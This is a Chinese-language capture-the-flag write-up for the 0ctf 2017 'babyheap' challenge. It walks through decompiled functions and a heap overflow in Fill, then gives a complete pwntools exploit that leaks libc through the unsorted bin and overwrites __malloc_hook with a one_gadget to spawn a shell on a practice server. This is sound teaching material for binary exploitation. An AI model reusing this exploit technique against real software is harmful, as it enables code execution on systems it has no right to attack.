checksec
查看,保护全开,可以查看是否有堆的漏洞
1 2 3 4 5 6
| [*] '/home/bronya/Documents/CTF/pwn18/babyheap_0ctf_2017' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
ida查看:
main
函数提供了菜单以及选择功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char *v4;
v4 = sub_B70(); while ( 1 ) { sub_CF4(); switch ( sub_138C() ) { case 1LL: Allocate(v4); break; case 2LL: Fill(v4); break; case 3LL: Free(v4); break; case 4LL: Dump(v4); break; case 5LL: return 0LL; default: continue; } } }
|
allocate
函数根据大小申请堆空间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| void __fastcall Allocate(__int64 a1) { int i; int v2; void *v3;
for ( i = 0; i <= 15; ++i ) { if ( !*(_DWORD *)(24LL * i + a1) ) { printf("Size: "); v2 = sub_138C(); if ( v2 > 0 ) { if ( v2 > 4096 ) v2 = 4096; v3 = calloc(v2, 1uLL); if ( !v3 ) exit(-1); *(_DWORD *)(24LL * i + a1) = 1; *(_QWORD *)(a1 + 24LL * i + 8) = v2; *(_QWORD *)(a1 + 24LL * i + 16) = v3; printf("Allocate Index %d\n", (unsigned int)i); } return; } } }
|
Fill
函数向指定index堆块写入内容,注意此处没有对大小进行限制,因此可以考虑fastbin attack劫持
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| __int64 __fastcall Fill(__int64 a1) { __int64 result; int v2; int v3;
printf("Index: "); result = sub_138C(); v2 = result; if ( (unsigned int)result <= 0xF ) { result = *(unsigned int *)(24LL * (int)result + a1); if ( (_DWORD)result == 1 ) { printf("Size: "); result = sub_138C(); v3 = result; if ( (int)result > 0 ) { printf("Content: "); return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3); } } } return result; }
|
Dump
函数打印指定index的内容,可以用于泄漏main_arena地址,进一步泄漏libc基址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| int __fastcall Dump(__int64 a1) { int result; int v2;
printf("Index: "); result = sub_138C(); v2 = result; if ( (unsigned int)result <= 0xF ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts("Content: "); sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8)); return puts(byte_14F1); } } return result; }
|
因此答题思路为unsortedbin attack泄漏libc基址,fastbin attack劫持malloc_hook,使用one_gadget getshell
Step1: 泄漏Libc基址
注:当small chunk被释放时,它的fd,bk指向同一个指针即top chunk地址,这个地址保存在main_arena的0x58偏移处,而main_arena在libc的data段中,是全局静态变量,偏移也是固定的,根据这些可以计算出libc的基址。因此只需要当small chunk释放后,还可以打印出其值。
首先申请一些小堆块,然后free掉id 1,2,利用堆溢出漏洞,将chunk2 fd指针修改为chunk4地址,相当于chunk4已经free并且为fastbin,然后要malloc回chunk4,不过由于有大小检查,需要修改chunk4的大小,通过修改chunk3来实现。这样可以实现将small chunk放入fastbin中的效果。注,此时有两个指针指向同一个chunk4,此时将chunk4大小修改回原来值,将正常的chunk4 free掉,就可以令其fd,bk指针指向top_chunk,同时新申请的也指向了chunk4,可以用于查看fd,bk值。由此可以计算出libc值
Step2: 修改malloc_hook为one_gadget
使用fastbin attack构造fake chunk修改malloc_hook指针地址即可
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| from pwn import *
context(arch='amd64', log_level='debug')
p = remote('node5.buuoj.cn', 25147) """ struct { 1, (8) # 表示是否allocate size: , (8) content pointer: , (8) } """
def allocate(size): p.sendlineafter(b'Command: ', b'1') p.sendlineafter(b'Size: ', str(size))
def fill(index, size, content): p.sendlineafter(b'Command: ', b'2') p.sendlineafter(b'Index: ', index) p.sendlineafter(b'Size: ', str(size)) p.sendlineafter(b'Content: ', content)
def free(index): p.sendlineafter(b'Command: ', b'3') p.sendlineafter(b'Index: ', index) def dump(index): p.sendlineafter(b'Command: ', b'4') p.sendlineafter(b'Index: ', index) p.recvline() return p.recvline()
""" heap overflow 1. 泄漏libc基址 2. 修改libc中malloc_hook地址为one_gadget """
allocate(0x10) allocate(0x10) allocate(0x10) allocate(0x10) allocate(0x80)
free(b'1') free(b'2')
payload = flat(b'\x00'*0x18, 0x21, b'\x00'*0x18, 0x21, p8(0x80)) fill(b'0', len(payload), payload)
payload = flat(b'\x00'*0x18, 0x21) fill(b'3', len(payload), payload)
allocate(0x10) allocate(0x10)
payload = flat(b'\x00'*0x18, 0x91) fill(b'3', len(payload), payload)
allocate(0x80) free(b'4')
libc_addr = u64(dump(b'2')[:8].ljust(8, b'\x00')) - 0x3c4b78 success(hex(libc_addr))
fake_chunk = libc_addr + 0x3c4aed allocate(0x60) free(b'4') payload = flat(fake_chunk) fill(b'2', len(payload), payload) allocate(0x60) allocate(0x60) """ 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
""" one_gadget = libc_addr + 0x4526a payload = flat(p8(0)*3, 0, 0, one_gadget) fill(b'6', len(payload), payload) allocate(0x90)
p.interactive()
|